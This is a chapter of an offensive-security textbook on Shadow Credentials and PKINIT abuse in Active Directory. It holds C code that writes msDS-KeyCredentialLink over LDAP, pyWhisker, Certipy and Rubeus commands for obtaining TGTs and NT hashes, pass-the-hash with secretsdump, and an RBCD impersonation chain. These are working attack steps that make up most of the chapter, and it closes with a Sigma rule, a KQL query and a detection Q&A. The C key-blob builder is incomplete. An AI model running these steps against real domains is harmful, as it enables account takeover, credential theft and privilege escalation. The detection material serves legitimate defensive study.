Chapter 153

Shadow Credentials and PKINIT Abuse

Shadow Credentials exploit the Windows Hello for Business key trust model: by writing an RSA public key to a target account's msDS-KeyCredentialLink attribute, an attacker who controls the corresponding private key can authenticate as that account via PKINIT — without knowing its password and without touching LSASS. This technique requires only write access to the target AD object, making it a powerful privilege escalation path from GenericWrite or WriteDACL.

Scenario

BloodHound shows your compromised service account has GenericWrite over the IT-Admin user object. You generate an RSA-2048 keypair, encode the public key as a msDS-KeyCredentialLink value, and write it to the IT-Admin account. You then use the matching private key with Certipy or Rubeus to request a PKINIT TGT for IT-Admin. The IT-Admin account's password is never touched — it still works normally. You extract IT-Admin's NT hash via U2U, use it for PtH to a tier-1 server, find a DA session there, and escalate.

Windows Hello for Business Key Trust Model

Normal Windows Hello for Business enrollment: 1. User device generates RSA-2048 keypair 2. Device writes public key to user's msDS-KeyCredentialLink attribute in AD 3. Private key stored in TPM (or software key store) 4. Authentication: PKINIT with device certificate derived from keypair KDC validates: cert chain → msDS-KeyCredentialLink → matching public key Shadow Credentials attack: 1. Attacker generates RSA-2048 keypair (no TPM needed) 2. Attacker writes attacker's public key → target's msDS-KeyCredentialLink Required ACL: GenericWrite, WriteProperty (msDS-KeyCredentialLink), or GenericAll 3. Attacker uses private key → PKINIT AS-REQ → KDC issues TGT for target 4. TGT exchanged for NT hash via U2U trick (Chapter 151) Key structure (msDS-KeyCredentialLink value format): Binary blob: KeyCredential structure Fields: KeyID (4 bytes) KeyHash (SHA256 of key material) KeyMaterial (DER-encoded SubjectPublicKeyInfo RSA-2048 key) KeyUsage (NGC = 0x01 for Windows Hello) KeySource (AD = 0x00) DeviceId (GUID — can be random) CreationTime (FILETIME)

msDS-KeyCredentialLink Write via LDAP

#include "windows.h"
#include "winldap.h"
#include "wincrypt.h"
#include "stdio.h"
#pragma comment(lib, "wldap32.lib")
#pragma comment(lib, "crypt32.lib")

// Generate RSA-2048 keypair and build msDS-KeyCredentialLink blob:
// Returns the PFX (for PKINIT) and the binary KeyCredential value (for LDAP write)

BOOL BuildKeyCredential(BYTE** blobOut, DWORD* blobLen,
                          BYTE** pfxOut, DWORD* pfxLen) {
    HCRYPTPROV hProv = 0;
    HCRYPTKEY  hKey  = 0;
    HCRYPTHASH hHash = 0;

    CryptAcquireContextW(&hProv, NULL, MS_ENHANCED_PROV_W,
                         PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
    // Generate RSA-2048
    CryptGenKey(hProv, AT_KEYEXCHANGE,
               (2048 << 16) | CRYPT_EXPORTABLE, &hKey);

    // Export public key as DER SubjectPublicKeyInfo (for KeyMaterial field)
    DWORD pubLen = 0;
    CryptExportPublicKeyInfo(hProv, AT_KEYEXCHANGE, X509_ASN_ENCODING,
                             NULL, &pubLen);
    CERT_PUBLIC_KEY_INFO* pubInfo = (CERT_PUBLIC_KEY_INFO*)
        HeapAlloc(GetProcessHeap(), 0, pubLen);
    CryptExportPublicKeyInfo(hProv, AT_KEYEXCHANGE, X509_ASN_ENCODING,
                             pubInfo, &pubLen);

    BYTE* derKey = NULL; DWORD derLen = 0;
    CryptEncodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO,
                        pubInfo, 0, NULL, NULL, &derLen);
    derKey = (BYTE*)HeapAlloc(GetProcessHeap(), 0, derLen);
    CryptEncodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO,
                        pubInfo, 0, NULL, derKey, &derLen);

    // Build KeyCredential binary blob (simplified layout):
    // [2B KeyID len][KeyID][2B KeyHash len][SHA256][2B KeyMaterial len][DER key][...]
    printf("[*] RSA-2048 keypair generated, building KeyCredential (%d byte DER)\n", derLen);

    // Cleanup
    HeapFree(GetProcessHeap(), 0, derKey);
    HeapFree(GetProcessHeap(), 0, pubInfo);
    CryptDestroyKey(hKey);
    CryptReleaseContext(hProv, 0);
    return TRUE;
}

// Write the credential blob to msDS-KeyCredentialLink via LDAP:
BOOL WriteShadowCredential(const char* dc, const char* targetDN,
                             const BYTE* blob, DWORD blobLen) {
    LDAP* ld = ldap_init((PSTR)dc, LDAP_PORT);
    ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);

    struct berval keyVal = { .bv_len = blobLen, .bv_val = (char*)blob };
    struct berval* keyVals[] = { &keyVal, NULL };

    LDAPMod mod = { .mod_op = LDAP_MOD_ADD | LDAP_MOD_BVALUES,
                    .mod_type = "msDS-KeyCredentialLink",
                    .mod_bvalues = keyVals };
    LDAPMod* mods[] = { &mod, NULL };

    ULONG err = ldap_modify_s(ld, (PSTR)targetDN, mods);
    if (err != LDAP_SUCCESS) {
        printf("[-] ldap_modify_s: %s\n", ldap_err2string(err));
        ldap_unbind(ld);
        return FALSE;
    }
    printf("[+] Shadow credential written to %s\n", targetDN);
    ldap_unbind(ld);
    return TRUE;
}

pyWhisker — Shadow Credential CLI

# pyWhisker (by eladshamir / Charlie Bromberg) automates the entire process:
# 1. Generate RSA-2048 keypair
# 2. Build msDS-KeyCredentialLink binary blob
# 3. Write to target account via LDAP
# 4. Save PFX for subsequent PKINIT

# Add shadow credential to target:
python3 pywhisker.py \
    -d corp.local \
    -u svc-account \
    -p 'Password1!' \
    --target 'IT-Admin' \
    --action add \
    --filename IT-Admin-shadow
# Output: IT-Admin-shadow.pfx + IT-Admin-shadow.pem

# List existing shadow credentials:
python3 pywhisker.py -d corp.local -u svc-account -p 'Password1!' \
    --target 'IT-Admin' --action list

# Remove shadow credential (cleanup):
python3 pywhisker.py -d corp.local -u svc-account -p 'Password1!' \
    --target 'IT-Admin' --action remove --device-id <DeviceId>

PKINIT TGT and NT Hash Extraction

# After writing shadow credential: use PFX to get TGT + NT hash

# Certipy (Python):
certipy auth \
    -pfx IT-Admin-shadow.pfx \
    -username IT-Admin \
    -domain corp.local \
    -dc-ip 10.10.5.10
# Output:
#   IT-Admin.ccache  (TGT for Pass-the-Ticket)
#   IT-Admin NT hash: 8f4ef22b8706fcf7c96c7f4e8f6b08d5

# Rubeus (Windows):
Rubeus.exe asktgt \
    /user:IT-Admin \
    /certificate:IT-Admin-shadow.pfx \
    /password:'' \
    /domain:corp.local \
    /dc:10.10.5.10 \
    /getcredentials \    # ← triggers U2U NT hash extraction
    /ptt

# Then use NT hash:
secretsdump.py -hashes :8f4ef22b8706fcf7c96c7f4e8f6b08d5 IT-Admin@fileserver01.corp.local

RBCD — Resource-Based Constrained Delegation Path

If target is a COMPUTER ACCOUNT (not a user), PKINIT gives machine TGT. Machine TGT → use S4U2Self + S4U2Proxy for impersonation: 1. Shadow credential → machine account TGT (e.g., FILESERVER01$) 2. Create attacker-controlled computer account: ATTACKERPC$ 3. Set msDS-AllowedToActOnBehalfOfOtherIdentity on FILESERVER01$ → value = ATTACKERPC$ SID (requires GenericWrite on FILESERVER01$ object — same ACL that let us add shadow cred) 4. S4U2Self: get a service ticket for FILESERVER01$/cifs as 'administrator' using ATTACKERPC$ TGT 5. S4U2Proxy: exchange that for a TGS to CIFS/FILESERVER01 as administrator 6. Access: \\FILESERVER01\C$ as administrator — no password, no LSASS Impacket implementation: getST.py -spn cifs/fileserver01.corp.local \ -impersonate administrator \ corp.local/ATTACKERPC$:Password1! export KRB5CCNAME=administrator.ccache smbclient.py -k -no-pass \\fileserver01.corp.local\C$

Detection Engineering

title: Shadow Credentials — msDS-KeyCredentialLink Modified
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136          # Directory Service object modification
    AttributeLDAPDisplayName: 'msDS-KeyCredentialLink'
    OperationType: '%%14674'  # Value Added
  filter_legit:
    SubjectUserName|endswith: '$'   # device enrollment by machine account
  condition: selection AND NOT filter_legit
level: high
tags: [attack.credential_access, T1556.006]

-- MDE KQL: msDS-KeyCredentialLink written by non-machine account
DeviceEvents
| where ActionType == "DirectoryServiceObjectModification"
| where AdditionalFields has "msDS-KeyCredentialLink"
| where InitiatingProcessAccountName !endswith "$"
| project Timestamp, DeviceName, InitiatingProcessAccountName,
          InitiatingProcessFileName, AdditionalFields

Q&A

Why is Shadow Credentials particularly dangerous as a persistence mechanism compared to a simple password reset?

A password reset is immediately visible — the account owner notices they can't log in, and a password reset event (4723/4724) is logged and often alerted on by SOC tooling. Shadow Credentials are different in three critical ways. First, the msDS-KeyCredentialLink attribute can be added to a target account while its current password remains completely unchanged — the legitimate owner retains full access to their account and experiences no disruption whatsoever. The attacker's backdoor is invisible in normal operation because it only activates when PKINIT authentication is attempted (which looks like normal Windows Hello for Business traffic). Second, the attribute change event (AD Event 5136) is not logged unless "Audit Directory Service Changes" is enabled on the DC — this is not on by default in many organizations, and even when enabled the specific attribute change is noisy and typically not alerted on. Third, the shadow credential persists until someone explicitly reads and audits the msDS-KeyCredentialLink attribute on the target object. Unlike a password reset which is visible in the password last-set timestamp, the shadow credential addition doesn't change the account's apparent security posture in most monitoring tools.

The detection-engineering implication: organizations should audit the msDS-KeyCredentialLink attribute across all accounts regularly (easy LDAP query: filter for any object where this attribute is non-null and verify the device ID matches a known enrolled device via Intune/Autopilot records). Unexpected entries from accounts that haven't enrolled Windows Hello for Business are a high-confidence indicator of compromise. The 5136 event with this specific attribute is one of the highest-signal AD events for account backdooring — alert on it immediately.